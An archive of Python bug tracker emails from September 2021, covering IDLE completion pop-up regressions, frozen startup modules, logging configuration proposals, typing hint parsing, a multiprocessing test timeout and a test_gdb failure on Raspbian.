From report at bugs.python.org  Tue Sep 14 15:46:09 2021
From: report at bugs.python.org (Tal Einat)
Date: Tue, 14 Sep 2021 19:46:09 +0000
Subject: [issue40128] IDLE Show completions pop-up not working on macOS
In-Reply-To: <1585675008.66.0.405710178889.issue40128@roundup.psfhosted.org>
Message-ID: <1631648769.48.0.129812074258.issue40128@roundup.psfhosted.org>


Tal Einat  added the comment:

Pablo, I'm not sure what you cherry-picked, but this fix for macOS broke the completions pop-up on Linux, and that appears to still be the state of things now on the 3.10.0 branch. Let's please not leave things this way if at all possible.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 15:53:22 2021
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Tue, 14 Sep 2021 19:53:22 +0000
Subject: [issue4356] Add "key" argument to "bisect" module functions
In-Reply-To: <1227115048.67.0.318831592843.issue4356@psf.upfronthosting.co.za>
Message-ID: <1631649202.3.0.379205602244.issue4356@roundup.psfhosted.org>


Pablo Galindo Salgado  added the comment:


New changeset 1aaa85949717e4ab2ed700e58762f0a3ce049a37 by Pablo Galindo Salgado in branch 'main':
bpo-4356: Mention the new key arguments for the bisect module APIs in the 3.10 What's new (GH-28339)
https://github.com/python/cpython/commit/1aaa85949717e4ab2ed700e58762f0a3ce049a37


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 15:53:23 2021
From: report at bugs.python.org (miss-islington)
Date: Tue, 14 Sep 2021 19:53:23 +0000
Subject: [issue4356] Add "key" argument to "bisect" module functions
In-Reply-To: <1227115048.67.0.318831592843.issue4356@psf.upfronthosting.co.za>
Message-ID: <1631649203.19.0.818033725857.issue4356@roundup.psfhosted.org>


Change by miss-islington :


----------
nosy: +miss-islington
nosy_count: 21.0 -> 22.0
pull_requests: +26753
pull_request: https://github.com/python/cpython/pull/28340

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 15:57:16 2021
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Tue, 14 Sep 2021 19:57:16 +0000
Subject: [issue40128] IDLE Show completions pop-up not working on macOS
In-Reply-To: <1585675008.66.0.405710178889.issue40128@roundup.psfhosted.org>
Message-ID: <1631649436.43.0.960482219585.issue40128@roundup.psfhosted.org>


Pablo Galindo Salgado  added the comment:

> Pablo, I'm not sure what you cherry-picked,

I cherry-picked https://github.com/python/cpython/pull/26684

but this can be easily undone as this is cherry-picked to the 3.10.0 release branch that I have much more control upon.

What would you prefer me to do: undo the cherry-picking or wait for https://github.com/python/cpython/pull/28328/files ?

Notice that this would need to be done ASAP if you want it to be in 3.10.0, otherwise will have to wait until 3.10.1

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 16:02:22 2021
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Tue, 14 Sep 2021 20:02:22 +0000
Subject: [issue4356] Add "key" argument to "bisect" module functions
In-Reply-To: <1227115048.67.0.318831592843.issue4356@psf.upfronthosting.co.za>
Message-ID: <1631649742.32.0.119451953112.issue4356@roundup.psfhosted.org>


Pablo Galindo Salgado  added the comment:


New changeset dda5ff2d095c795f00afaa64505069a2409f6099 by Miss Islington (bot) in branch '3.10':
bpo-4356: Mention the new key arguments for the bisect module APIs in the 3.10 What's new (GH-28339) (GH-28340)
https://github.com/python/cpython/commit/dda5ff2d095c795f00afaa64505069a2409f6099


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 16:36:56 2021
From: report at bugs.python.org (=?utf-8?q?Benjamin_Sz=C5=91ke?=)
Date: Tue, 14 Sep 2021 20:36:56 +0000
Subject: [issue21302] time.sleep (floatsleep()) should use clock_nanosleep()
 on Linux
In-Reply-To: <1397851923.06.0.0550198760464.issue21302@psf.upfronthosting.co.za>
Message-ID: <1631651816.04.0.657447624035.issue21302@roundup.psfhosted.org>


Change by Benjamin Sz?ke :


----------
pull_requests: +26754
pull_request: https://github.com/python/cpython/pull/28341

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 16:47:26 2021
From: report at bugs.python.org (Jarry Shaw)
Date: Tue, 14 Sep 2021 20:47:26 +0000
Subject: [issue43893] typing.get_type_hints does not accept type annotations
 with leading whitespaces
In-Reply-To: <1618923799.18.0.0357006810909.issue43893@roundup.psfhosted.org>
Message-ID: <1631652446.56.0.561966739029.issue43893@roundup.psfhosted.org>


Jarry Shaw  added the comment:

Apparently static checkers like mypy doesn't rely on the `typing.get_type_hints` function to implement its type checking functions (as I had browsed through the code repo).

$ cat test.py
def foo(arg) -> ' str': ...
$ mypy test.py
Success: no issues found in 1 source file

If type checkers *think* this is acceptable, but the standard library doesn't, this can be some sort of inconsistency in my perspective.

As Saiyang Gou had suggested, I would rather prefer to change the behaviour of `compile` in `eval` mode to preserve the internal consistency of builtin functions and therefore to eliminate this *buggy* behaviour of `typing.get_type_hints`.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 16:55:00 2021
From: report at bugs.python.org (Guido van Rossum)
Date: Tue, 14 Sep 2021 20:55:00 +0000
Subject: [issue43893] typing.get_type_hints does not accept type annotations
 with leading whitespaces
In-Reply-To: <1618923799.18.0.0357006810909.issue43893@roundup.psfhosted.org>
Message-ID: <1631652900.22.0.848888051292.issue43893@roundup.psfhosted.org>


Change by Guido van Rossum :


----------
resolution:  -> wont fix
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 17:22:45 2021
From: report at bugs.python.org (Greg Werbin)
Date: Tue, 14 Sep 2021 21:22:45 +0000
Subject: [issue45027] Allow basicConfig to configure any logger, not just root
In-Reply-To: <1630034064.24.0.262638183252.issue45027@roundup.psfhosted.org>
Message-ID: <1631654565.36.0.684623784575.issue45027@roundup.psfhosted.org>


Greg Werbin  added the comment:

Hi, thanks for the comment.

> First of all, library developers should not be configuring loggers at all, other than adding a NullHandler to their top-level logger.

This is true, and I agree. I am not expecting people to start using basicConfig() inside their libraries.

> Secondly, it is fine to configure the root logger and then log to any other logger. The default mechanisms mean that handlers added to the root logger are used by loggers which are anywhere in the logger hierarchy. So users that are using basicConfig() but other loggers than the root logger may be using the system as designed.

This change serves the purpose of making it easier to configure non-root loggers. Library developers often add logging to their libraries, expecting that end users will never see those log messages. However, if you configure the root logger in your application, you will see those log messages. This change is intended to let users more easily configure the specific loggers that they want to configure, without also getting a lot of extraneous output from loggers that they don't care about.

I have seen experienced Python developers misunderstand how this works, and go through all kinds of ugly contortions (setting filters on handlers, etc.) to avoid the boilerplate of instantiating Handler and Formatter objects.

> Thirdly, logging.config.dictConfig() allows usage of a dictionary to configure multiple loggers, handlers etc. all at once, for use cases which are more demanding than basicConfig(). It doesn't make sense to do what you're proposing, since it appears to offer a different way of configuring other loggers than the root logger, when dictConfig() already offers that.

Good point. I am proposing an alternative interface to the functionality provided by dictConfig().

I would frame this proposal as a third configuration option, with complexity somewhere between the current basicConfig() and dictConfig().

Also, using the kwarg means better support for IDE tab-completion and type checking, and another opportunity for discoverability in the docs.

On that note, it would be nice to adjust the type stubs for dictConfig() to use a TypedDict with types corresponding to the "dictionary configuration schema" (https://docs.python.org/3/library/logging.config.html#logging-config-dictschema) instead of Any (see https://github.com/python/typeshed/blob/ee48730/stdlib/logging/config.pyi#L22). But that's a separate change. I'm happy to make a PR to Typeshed for it, though!

Regardless of whether this change is accepted, I also think there should be a note about dictConfig() in the docs for basicConfig(): https://docs.python.org/3/library/logging.html#logging.basicConfig. I believe a lot of users simply don't know about the "low-boilerplate" options for logging configuration in Python, so they either don't do it right or don't do it at all and use print(). Both are bad outcomes. Again, I'm happy to make a separate PR for that change.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 18:04:03 2021
From: report at bugs.python.org (Kevin Mills)
Date: Tue, 14 Sep 2021 22:04:03 +0000
Subject: [issue43574] Regression in overallocation for literal list
 initialization in v3.9+
In-Reply-To: <1616293914.75.0.599644741052.issue43574@roundup.psfhosted.org>
Message-ID: <1631657043.22.0.840028269294.issue43574@roundup.psfhosted.org>


Change by Kevin Mills :


----------
nosy: +Zeturic

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 18:13:34 2021
From: report at bugs.python.org (Terry J. Reedy)
Date: Tue, 14 Sep 2021 22:13:34 +0000
Subject: [issue45199] IDLE: document search (find) and replace better
Message-ID: <1631657614.15.0.441102434851.issue45199@roundup.psfhosted.org>


New submission from Terry J. Reedy :

The doc currently just says that the Search, File Search, and Search&Replace dialogs exist for the corresponding menu entries.
  Add a short section in "Editing and navigation" to say more.

1. Any selection becomes search target, except that S&R is buggy.
2. Search is only within lines.  .* and \n do not match \n even with RE.
3. [x]RE uses Python re module, not tcl re.  It applies to replace also.  So if target RE has capture groups, \1 (and \gname? test) in replacement works.(match.expand(repl))
4. Refer to re chapter and RegularExpression HOWTO.

----------
assignee: terry.reedy
components: IDLE
messages: 401801
nosy: terry.reedy
priority: normal
severity: normal
stage: needs patch
status: open
title: IDLE: document search (find) and replace better
type: enhancement
versions: Python 3.11

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 18:58:00 2021
From: report at bugs.python.org (Terry J. Reedy)
Date: Tue, 14 Sep 2021 22:58:00 +0000
Subject: [issue45193] IDLE Show completions pop-up not working on Ubuntu Linux
In-Reply-To: <1631600960.46.0.341409360398.issue45193@roundup.psfhosted.org>
Message-ID: <1631660280.11.0.364008862388.issue45193@roundup.psfhosted.org>


Terry J. Reedy  added the comment:

In msg401744 I suggested any of the following for the upcoming 3.10.0 release.

1. Remove the new line.
2. Disable the line by adding '#'.
3. Make it conditional on macOS and 8.6.8.

Thinking more, I am rejecting 3. because the line is not needed for IDLE and tk as installed by our macOS.  As things stand now, I an only willing to support IDLE with the tk we install.  But I will go with option 2 so that if someone tries to run IDLE with a different tk, and the line is needed, they only need to remove the '#'.

A version of 3. is needed for 3.9 but this needs more data and discussion.  In looking at your no-issue PR_28332, I realized that I would rather make a more extensive change than to patch a badly written function for at least the fourth time.  I will open an issue for that PR and explain later.

----------
nosy: +lukasz.langa, ned.deily, pablogsal
priority: normal -> release blocker

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 19:07:43 2021
From: report at bugs.python.org (Terry J. Reedy)
Date: Tue, 14 Sep 2021 23:07:43 +0000
Subject: [issue45193] IDLE Show completions pop-up not working on Ubuntu Linux
In-Reply-To: <1631600960.46.0.341409360398.issue45193@roundup.psfhosted.org>
Message-ID: <1631660863.87.0.508224990969.issue45193@roundup.psfhosted.org>


Terry J. Reedy  added the comment:

I will just mention here that winconfig_event also calls update_idletasks, in what should be the proper place, and I think that the second call was only needed for mac tk 8.6.8 because of the unique-to-IDLE behavior I want to delete.  I suspect that if we create the popup the same way we do with the others, we will not need the second call even on 8.6.8.  But making sure 3.10.0 works comes first.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 19:09:22 2021
From: report at bugs.python.org (Terry J. Reedy)
Date: Tue, 14 Sep 2021 23:09:22 +0000
Subject: [issue40128] IDLE Show completions pop-up not working on macOS
In-Reply-To: <1585675008.66.0.405710178889.issue40128@roundup.psfhosted.org>
Message-ID: <1631660962.14.0.87380983822.issue40128@roundup.psfhosted.org>


Terry J. Reedy  added the comment:

Pablo, sorry I was not clear. PR_26684 and the line it added, having been merged last June, are already in the 3.10.0rc2 release.  What I want to do immediately is disable the line with a '#'.  I just posted an explanation on #34193.  I am about to make a new PR to do so, and once it is merged and backported to 3.10 (but not 3.9), I will ask you to cherrypick it into the release branch.

----------
priority: release blocker -> normal

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 19:31:52 2021
From: report at bugs.python.org (Eric Snow)
Date: Tue, 14 Sep 2021 23:31:52 +0000
Subject: [issue45020] Freeze all modules imported during startup.
In-Reply-To: <1630005838.27.0.743852977618.issue45020@roundup.psfhosted.org>
Message-ID: <1631662312.54.0.948394430468.issue45020@roundup.psfhosted.org>


Eric Snow  added the comment:


New changeset a65c86889e208dddb26a7ebe7840c24edbcca775 by Eric Snow in branch 'main':
bpo-45020: Add -X frozen_modules=[on|off] to explicitly control use of frozen modules. (gh-28320)
https://github.com/python/cpython/commit/a65c86889e208dddb26a7ebe7840c24edbcca775


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 19:42:26 2021
From: report at bugs.python.org (Terry J. Reedy)
Date: Tue, 14 Sep 2021 23:42:26 +0000
Subject: [issue45193] IDLE Show completions pop-up not working on Ubuntu Linux
In-Reply-To: <1631600960.46.0.341409360398.issue45193@roundup.psfhosted.org>
Message-ID: <1631662946.9.0.136332483162.issue45193@roundup.psfhosted.org>


Change by Terry J. Reedy :


----------
pull_requests: +26755
pull_request: https://github.com/python/cpython/pull/28343

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 19:55:07 2021
From: report at bugs.python.org (Eric Snow)
Date: Tue, 14 Sep 2021 23:55:07 +0000
Subject: [issue45189] Drop the "list_frozen" command from _test_embed.
In-Reply-To: <1631575373.13.0.588141988765.issue45189@roundup.psfhosted.org>
Message-ID: <1631663707.68.0.983221434357.issue45189@roundup.psfhosted.org>


Eric Snow  added the comment:

Yeah, sorry, I got the PRs mixed up.  I added it in https://github.com/python/cpython/pull/28320.

_imp._get_frozen_module_names() should work just fine.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 22:53:19 2021
From: report at bugs.python.org (Terry J. Reedy)
Date: Wed, 15 Sep 2021 02:53:19 +0000
Subject: [issue45020] Freeze all modules imported during startup.
In-Reply-To: <1630005838.27.0.743852977618.issue45020@roundup.psfhosted.org>
Message-ID: <1631674399.19.0.738857399066.issue45020@roundup.psfhosted.org>


Change by Terry J. Reedy :


----------
nosy: +terry.reedy
nosy_count: 14.0 -> 15.0
pull_requests: +26756
pull_request: https://github.com/python/cpython/pull/28344

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep 14 23:00:13 2021
From: report at bugs.python.org (Terry J. Reedy)
Date: Wed, 15 Sep 2021 03:00:13 +0000
Subject: [issue45197] IDLE should suppress ValueError for list.remove()
In-Reply-To: <1631633596.4.0.569139047582.issue45197@roundup.psfhosted.org>
Message-ID: <1631674813.74.0.698987180593.issue45197@roundup.psfhosted.org>


Terry J. Reedy  added the comment:

The offending function is

        def event_delete(self, virtual, *sequences):
            if virtual not in self.__eventinfo:
                return
            func, triplets = self.__eventinfo[virtual]
            for seq in sequences:
                triplet = _parse_sequence(seq)
                if triplet is None:
                    #print("Tkinter event_delete: %s" % seq, file=sys.__stderr__)
                    widget.event_delete(self, virtual, seq)
                else:
                    if func is not None:
                        self.__binders[triplet[1]].unbind(triplet, func)
                    triplets.remove(triplet)

The triplets collection is part of *virtual* whereas each triplet is derived from a member of sequences. 
The discrepancy seems to be extremely rare.  I will catch the exception until such time as I see a plausible, reproducible, and testable reason.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep 15 00:17:40 2021
From: report at bugs.python.org (Terry J. Reedy)
Date: Wed, 15 Sep 2021 04:17:40 +0000
Subject: [issue45200] test_multiprocessing_fork failws with timeout
Message-ID: <1631679460.71.0.626374231164.issue45200@roundup.psfhosted.org>


New submission from Terry J. Reedy :

https://github.com/python/cpython/pull/28344/checks?check_run_id=3605759743
All tests pass until test_multiprocessing_fork timed out after 25 min.  On the rerun: refail with timeout.

test_get (test.test_multiprocessing_fork.WithProcessesTestQueue) ... Timeout (0:20:00)!
Thread 0x00007f176a71ebc0 (most recent call first):
  File "/home/runner/work/cpython/cpython/Lib/multiprocessing/synchronize.py", line 261 in wait
  File "/home/runner/work/cpython/cpython/Lib/multiprocessing/synchronize.py", line 349 in wait
  File "/home/runner/work/cpython/cpython/Lib/test/_test_multiprocessing.py", line 1001 in test_get
  File "/home/runner/work/cpython/cpython/Lib/unittest/case.py", line 549 in _callTestMethod
  File "/home/runner/work/cpython/cpython/Lib/unittest/case.py", line 593 in run
  File "/home/runner/work/cpython/cpython/Lib/unittest/case.py", line 652 in __call__
  File "/home/runner/work/cpython/cpython/Lib/unittest/suite.py", line 122 in run
  File "/home/runner/work/cpython/cpython/Lib/unittest/suite.py", line 84 in __call__
  File "/home/runner/work/cpython/cpython/Lib/unittest/suite.py", line 122 in run
  File "/home/runner/work/cpython/cpython/Lib/unittest/suite.py", line 84 in __call__
  File "/home/runner/work/cpython/cpython/Lib/unittest/suite.py", line 122 in run
  File "/home/runner/work/cpython/cpython/Lib/unittest/suite.py", line 84 in __call__
  File "/home/runner/work/cpython/cpython/Lib/unittest/runner.py", line 206 in run
  File "/home/runner/work/cpython/cpython/Lib/test/support/__init__.py", line 998 in _run_suite
  File "/home/runner/work/cpython/cpython/Lib/test/support/__init__.py", line 1124 in run_unittest
  File "/home/runner/work/cpython/cpython/Lib/test/libregrtest/runtest.py", line 261 in _test_module
  File "/home/runner/work/cpython/cpython/Lib/test/libregrtest/runtest.py", line 297 in _runtest_inner2
  File "/home/runner/work/cpython/cpython/Lib/test/libregrtest/runtest.py", line 340 in _runtest_inner
  File "/home/runner/work/cpython/cpython/Lib/test/libregrtest/runtest.py", line 215 in _runtest
  File "/home/runner/work/cpython/cpython/Lib/test/libregrtest/runtest.py", line 245 in runtest
  File "/home/runner/work/cpython/cpython/Lib/test/libregrtest/main.py", line 337 in rerun_failed_tests
  File "/home/runner/work/cpython/cpython/Lib/test/libregrtest/main.py", line 715 in _main
  File "/home/runner/work/cpython/cpython/Lib/test/libregrtest/main.py", line 658 in main
  File "/home/runner/work/cpython/cpython/Lib/test/libregrtest/main.py", line 736 in main
  File "/home/runner/work/cpython/cpython/Lib/test/__main__.py", line 2 in 
  File "/home/runner/work/cpython/cpython/Lib/runpy.py", line 86 in _run_code
  File "/home/runner/work/cpython/cpython/Lib/runpy.py", line 196 in _run_module_as_main

----------
components: Library (Lib), Tests
messages: 401808
nosy: terry.reedy
priority: normal
severity: normal
stage: needs patch
status: open
title: test_multiprocessing_fork failws with timeout
type: behavior
versions: Python 3.11

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep 15 00:18:04 2021
From: report at bugs.python.org (Terry J. Reedy)
Date: Wed, 15 Sep 2021 04:18:04 +0000
Subject: [issue45200] test_multiprocessing_fork failws with timeout
In-Reply-To: <1631679460.71.0.626374231164.issue45200@roundup.psfhosted.org>
Message-ID: <1631679484.68.0.501426002683.issue45200@roundup.psfhosted.org>


Change by Terry J. Reedy :


----------
keywords: +patch
pull_requests: +26757
stage: needs patch -> patch review
pull_request: https://github.com/python/cpython/pull/28344

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep 15 00:50:12 2021
From: report at bugs.python.org (Barry A. Warsaw)
Date: Wed, 15 Sep 2021 04:50:12 +0000
Subject: [issue45155] Add default arguments for int.to_bytes()
In-Reply-To: <1631224831.05.0.436611360009.issue45155@roundup.psfhosted.org>
Message-ID: <1631681412.44.0.749930247129.issue45155@roundup.psfhosted.org>


Barry A. Warsaw  added the comment:

"big" by default

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep 15 02:03:15 2021
From: report at bugs.python.org (Cy)
Date: Wed, 15 Sep 2021 06:03:15 +0000
Subject: [issue45201] API function PySignal_SetWakeupFd is not exported and
 unusable
Message-ID: <1631685795.19.0.380145753565.issue45201@roundup.psfhosted.org>


New submission from Cy :

I want to wait on curl_multi_wait which messes up python's signal handling since libcurl doesn't know to exit the polling loop on signal. I created a pipe that curl could read from when python registered a signal, and PySignal_SetWakeupFd would write to the pipe, thus letting curl leave its polling loop, letting my C module return an exception condition.

Except PySignal_SetWakeupFd cannot be used. 

In Modules/signalmodule.c, it says:

    int
    PySignal_SetWakeupFd(int fd)

when it should say:

    PyAPI_FUNC(int)
    PySignal_SetWakeupFd(int fd)

This probably isn't a problem for most, since gcc has visiblity=public by default, but I guess Gentoo's process for building python sets -fvisibility=hidden, so I can't access it, and all Microsoft users should have no access to PySignal_SetWakeupFd, since Microsoft does have hidden visibility by default.

----------
components: C API
messages: 401810
nosy: cy
priority: normal
severity: normal
status: open
title: API function PySignal_SetWakeupFd is not exported and unusable
type: behavior
versions: Python 3.9

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep 15 03:08:54 2021
From: report at bugs.python.org (Terry J. Reedy)
Date: Wed, 15 Sep 2021 07:08:54 +0000
Subject: [issue45020] Freeze all modules imported during startup.
In-Reply-To: <1630005838.27.0.743852977618.issue45020@roundup.psfhosted.org>
Message-ID: <1631689734.9.0.376232039037.issue45020@roundup.psfhosted.org>


Terry J. Reedy  added the comment:


New changeset 369bf949ccbb689cd4638b29b4c0c12db79b927c by Terry Jan Reedy in branch 'main':
bpo-45020: Don't test IDLE with frozen module. (GH-28344)
https://github.com/python/cpython/commit/369bf949ccbb689cd4638b29b4c0c12db79b927c


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep 15 03:09:00 2021
From: report at bugs.python.org (miss-islington)
Date: Wed, 15 Sep 2021 07:09:00 +0000
Subject: [issue45020] Freeze all modules imported during startup.
In-Reply-To: <1630005838.27.0.743852977618.issue45020@roundup.psfhosted.org>
Message-ID: <1631689740.43.0.0141719964841.issue45020@roundup.psfhosted.org>


Change by miss-islington :


----------
pull_requests: +26759
pull_request: https://github.com/python/cpython/pull/28346

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep 15 03:08:56 2021
From: report at bugs.python.org (miss-islington)
Date: Wed, 15 Sep 2021 07:08:56 +0000
Subject: [issue45020] Freeze all modules imported during startup.
In-Reply-To: <1630005838.27.0.743852977618.issue45020@roundup.psfhosted.org>
Message-ID: <1631689736.23.0.881217869442.issue45020@roundup.psfhosted.org>


Change by miss-islington :


----------
nosy: +miss-islington
nosy_count: 15.0 -> 16.0
pull_requests: +26758
pull_request: https://github.com/python/cpython/pull/28345

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep 15 03:13:31 2021
From: report at bugs.python.org (Terry J. Reedy)
Date: Wed, 15 Sep 2021 07:13:31 +0000
Subject: [issue45193] IDLE Show completions pop-up not working on Ubuntu Linux
In-Reply-To: <1631600960.46.0.341409360398.issue45193@roundup.psfhosted.org>
Message-ID: <1631690011.14.0.400093951613.issue45193@roundup.psfhosted.org>


Terry J. Reedy  added the comment:


New changeset 1afc7b3219b24c951bb4e6b7e1ead904228de074 by Terry Jan Reedy in branch 'main':
bpo-45193: Restore IDLE completion boxes on Ubuntu (GH-28343)
https://github.com/python/cpython/commit/1afc7b3219b24c951bb4e6b7e1ead904228de074


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep 15 03:13:32 2021
From: report at bugs.python.org (miss-islington)
Date: Wed, 15 Sep 2021 07:13:32 +0000
Subject: [issue45193] IDLE Show completions pop-up not working on Ubuntu Linux
In-Reply-To: <1631600960.46.0.341409360398.issue45193@roundup.psfhosted.org>
Message-ID: <1631690012.04.0.594824001223.issue45193@roundup.psfhosted.org>


Change by miss-islington :


----------
nosy: +miss-islington
nosy_count: 5.0 -> 6.0
pull_requests: +26760
pull_request: https://github.com/python/cpython/pull/28347

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep 15 03:24:16 2021
From: report at bugs.python.org (Terry J. Reedy)
Date: Wed, 15 Sep 2021 07:24:16 +0000
Subject: [issue45193] IDLE Show completions pop-up not working on Ubuntu Linux
In-Reply-To: <1631600960.46.0.341409360398.issue45193@roundup.psfhosted.org>
Message-ID: <1631690656.45.0.864153800179.issue45193@roundup.psfhosted.org>


Change by Terry J. Reedy :


----------
pull_requests: +26761
pull_request: https://github.com/python/cpython/pull/28348

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep 15 03:33:40 2021
From: report at bugs.python.org (miss-islington)
Date: Wed, 15 Sep 2021 07:33:40 +0000
Subject: [issue45020] Freeze all modules imported during startup.
In-Reply-To: <1630005838.27.0.743852977618.issue45020@roundup.psfhosted.org>
Message-ID: <1631691220.48.0.568432820783.issue45020@roundup.psfhosted.org>


miss-islington  added the comment:


New changeset 8a9396cf1d9e1ce558841095e1ce0d3c23b7a8aa by Miss Islington (bot) in branch '3.10':
bpo-45020: Don't test IDLE with frozen module. (GH-28344)
https://github.com/python/cpython/commit/8a9396cf1d9e1ce558841095e1ce0d3c23b7a8aa


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep 15 03:34:23 2021
From: report at bugs.python.org (miss-islington)
Date: Wed, 15 Sep 2021 07:34:23 +0000
Subject: [issue45020] Freeze all modules imported during startup.
In-Reply-To: <1630005838.27.0.743852977618.issue45020@roundup.psfhosted.org>
Message-ID: <1631691263.42.0.736555178304.issue45020@roundup.psfhosted.org>


miss-islington  added the comment:


New changeset f71b86e0ae194613d235086755c6a44266978be1 by Miss Islington (bot) in branch '3.9':
bpo-45020: Don't test IDLE with frozen module. (GH-28344)
https://github.com/python/cpython/commit/f71b86e0ae194613d235086755c6a44266978be1


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep 15 03:37:42 2021
From: report at bugs.python.org (miss-islington)
Date: Wed, 15 Sep 2021 07:37:42 +0000
Subject: [issue45193] IDLE Show completions pop-up not working on Ubuntu Linux
In-Reply-To: <1631600960.46.0.341409360398.issue45193@roundup.psfhosted.org>
Message-ID: <1631691462.55.0.7321542016.issue45193@roundup.psfhosted.org>


miss-islington  added the comment:


New changeset 0c64569ac7066a97e4482c6d6e4d780806692ae5 by Miss Islington (bot) in branch '3.10':
bpo-45193: Restore IDLE completion boxes on Ubuntu (GH-28343)
https://github.com/python/cpython/commit/0c64569ac7066a97e4482c6d6e4d780806692ae5


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep 15 04:23:50 2021
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 15 Sep 2021 08:23:50 +0000
Subject: [issue45189] Drop the "list_frozen" command from _test_embed.
In-Reply-To: <1631575373.13.0.588141988765.issue45189@roundup.psfhosted.org>
Message-ID: <1631694230.12.0.123702300948.issue45189@roundup.psfhosted.org>


STINNER Victor  added the comment:

I found a new _imp._frozen_module_names() function:

$ ./python 
Python 3.11.0a0 (heads/main:1afc7b3219, Sep 15 2021, 10:22:28) [GCC >>> import _imp; _imp._frozen_module_names()
['_frozen_importlib', '_frozen_importlib_external', 'zipimport']

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep 15 05:14:30 2021
From: report at bugs.python.org (Irit Katriel)
Date: Wed, 15 Sep 2021 09:14:30 +0000
Subject: [issue45152] Prepare for splitting LOAD_CONST into several opcodes
In-Reply-To: <1631196564.41.0.680638780635.issue45152@roundup.psfhosted.org>
Message-ID: <1631697270.92.0.595179683795.issue45152@roundup.psfhosted.org>


Irit Katriel  added the comment:


New changeset 40d2ac92f9a28a486156dafdbb613016bb1f6b98 by Irit Katriel in branch 'main':
bpo-45152: refactor the dis module to make handling of hasconst opcodes more generic (GH-28258)
https://github.com/python/cpython/commit/40d2ac92f9a28a486156dafdbb613016bb1f6b98


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep 15 05:18:59 2021
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 15 Sep 2021 09:18:59 +0000
Subject: [issue40746] test_gdb failing on 32-bit armv7l when built with GCC
 -Og (fail on Raspbian on 3.9, regression from 3.8)
In-Reply-To: <1590258625.25.0.246740749681.issue40746@roundup.psfhosted.org>
Message-ID: <1631697539.7.0.974844619163.issue40746@roundup.psfhosted.org>


STINNER Victor  added the comment:

test_gdb now pass on ARM Raspbian 3.x. I'm not sure why test_gdb fails on 3.10 but pass on 3.x.

For me, it looks more like a gcc or gdb issue, rather than a Python bug.

ARM Raspbian 3.10:
https://buildbot.python.org/all/#/builders/685/builds/76

test.pythoninfo:

CC.version: gcc (Raspbian 10.2.1-6+rpi1) 10.2.1 20210110
gdb_version: GNU gdb (Raspbian 10.1-1.7) 10.1.90.20210103-git

sysconfig[CCSHARED]: -fPIC
sysconfig[CC]: gcc -pthread
sysconfig[CFLAGS]: -Wno-unused-result -Wsign-compare -g -Og -Wall
sysconfig[CONFIG_ARGS]: '--prefix' '/var/lib/buildbot/workers/3.10.gps-raspbian/build/target' '--with-pydebug'
sysconfig[HOST_GNU_TYPE]: armv7l-unknown-linux-gnueabihf
sysconfig[MACHDEP]: linux
sysconfig[MULTIARCH]: arm-linux-gnueabihf
sysconfig[OPT]: -g -Og -Wall
sysconfig[PY_CFLAGS]: -Wno-unused-result -Wsign-compare -g -Og -Wall
sysconfig[PY_CFLAGS_NODIST]: -std=c99 -Wextra -Wno-unused-result -Wno-unused-parameter -Wno-missing-field-initializers -Werror=implicit-function-declaration -fvisibility=hidden -I./Include/internal
sysconfig[PY_STDMODULE_CFLAGS]: -Wno-unused-result -Wsign-compare -g -Og -Wall -std=c99 -Wextra -Wno-unused-result -Wno-unused-parameter -Wno-missing-field-initializers -Werror=implicit-function-declaration -fvisibility=hidden -I./Include/internal -I. -I./Include
sysconfig[Py_DEBUG]: 1

Logs:

======================================================================
FAIL: test_bt (test.test_gdb.PyBtTests)
Verify that the "py-bt" command works
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/var/lib/buildbot/workers/3.10.gps-raspbian/build/Lib/test/test_gdb.py", line 776, in test_bt
    self.assertMultilineMatches(bt,
